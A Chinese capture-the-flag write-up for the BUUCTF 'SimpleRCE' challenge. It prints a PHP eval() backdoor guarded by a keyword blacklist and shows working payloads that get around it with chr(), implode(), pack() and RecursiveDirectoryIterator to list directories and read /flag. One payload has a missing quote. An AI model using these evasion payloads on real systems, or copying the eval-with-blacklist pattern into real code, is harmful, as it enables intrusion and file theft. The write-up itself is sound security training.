SimpleRCE | BUUCTF

题目源码:

<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

过滤了很多函数,并且eval没有echo
$aaaecho 123;
发现·123·被输出到页面上
image

想使用之前的方法

ls | tee /var/www/html/1
ls | dd of=/var/www/html/1

但是|已经被过滤,同时'/'和flag也被过滤,需要通过ASCII码或者十六进制绕过

发现fread(),fopen()等函数没有被过滤

查看根目录

echo implode(chr(44),array_keys(iterator_to_array(new RecursiveDirectoryIterator(chr(47)),true)));
命令解析:
chr(47) 是 /
chr(44) 是 ,

implode() 是 PHP 内置函数,作用:把一个数组的所有元素用指定分隔符拼接成一个字符串。
implode(分隔符, 数组)

例子:
implode(',', ['a','b','c']);   // 结果: "a,b,c"
implode(chr(10), ['x','y']);   // 结果: "x\ny"(chr(10) 是换行符)
implode('', ['/', 'flag']);    // 结果: "/flag"
对应反函数是 explode()(按分隔符把字符串拆成数组)。

在我们这个题里它主要用于两个场景:
implode(chr(44), array_keys(...)) — 把枚举出来的文件名数组用逗号连成一行输出;
implode('', [chr(47), chr(102), ...]) — 用空分隔符把一个个字符拼成 /flag 字符串,从而避开黑名单对 flag 字样的过滤。


new RecursiveDirectoryIterator(chr(47)) 创建对象:递归目录迭代器,从 / 开始遍历。关键点:它的默认标志是 KEY_AS_PATHNAME,意思是迭代时的 key 就是完整路径字符串(如 /bin、/flag),而不是数字索引。

3. iterator_to_array(..., true) 把迭代器一次性"跑完"变成一个 PHP 数组。第二个参数 true 表示保留 key(即用迭代器提供的 key,而不是重新编号成 0,1,2...)。于是得到类似:

[
    '/opt'  => 对象,
    '/root' => 对象,
    '/flag' => 对象,
    ...
]
4. array_keys(...) 从上面这个关联数组中提取出所有的 key(路径字符串),得到:
['/opt', '/root', '/media', ..., '/bin', '/flag']
为什么这么绕,不直接 scandir('/')?因为 scandir 含 scan、glob 含 log、getcwd 含 get、FilesystemIterator 含 system,全被黑名单拦了;而 RecursiveDirectoryIterator 类名没有黑名单词,array_keys / iterator_to_array / chr / implode 也都干净,所以这条路能走通。

image

发现flag在根目录 /flag

implode构造payload:

aaa=fread(fopen(implode('',[chr(47),chr(102),chr(108),chr(97),chr(103)]),'r'),9999);

image

或者
pack构造payload:

aaa=echo fread(fopen(pack('H*','2f666c6167),'r'),9999);

image

pack('H*','2f666c6167') — H* 表示把十六进制字符串解码成二进制字符串:2f=/、66=f、6c=l、61=a、67=g,结果是 /flag。黑名单只查字面字符,查不到 flag 四个字母。
fopen(...,'r') — 以只读模式打开该路径(r = read)。
fread($handle, 8192) — 从文件句柄最多读取 8192 字节。
posted @ 2026-08-14 08:32  Dragon_Roar  阅读(10)  评论(0)    收藏  举报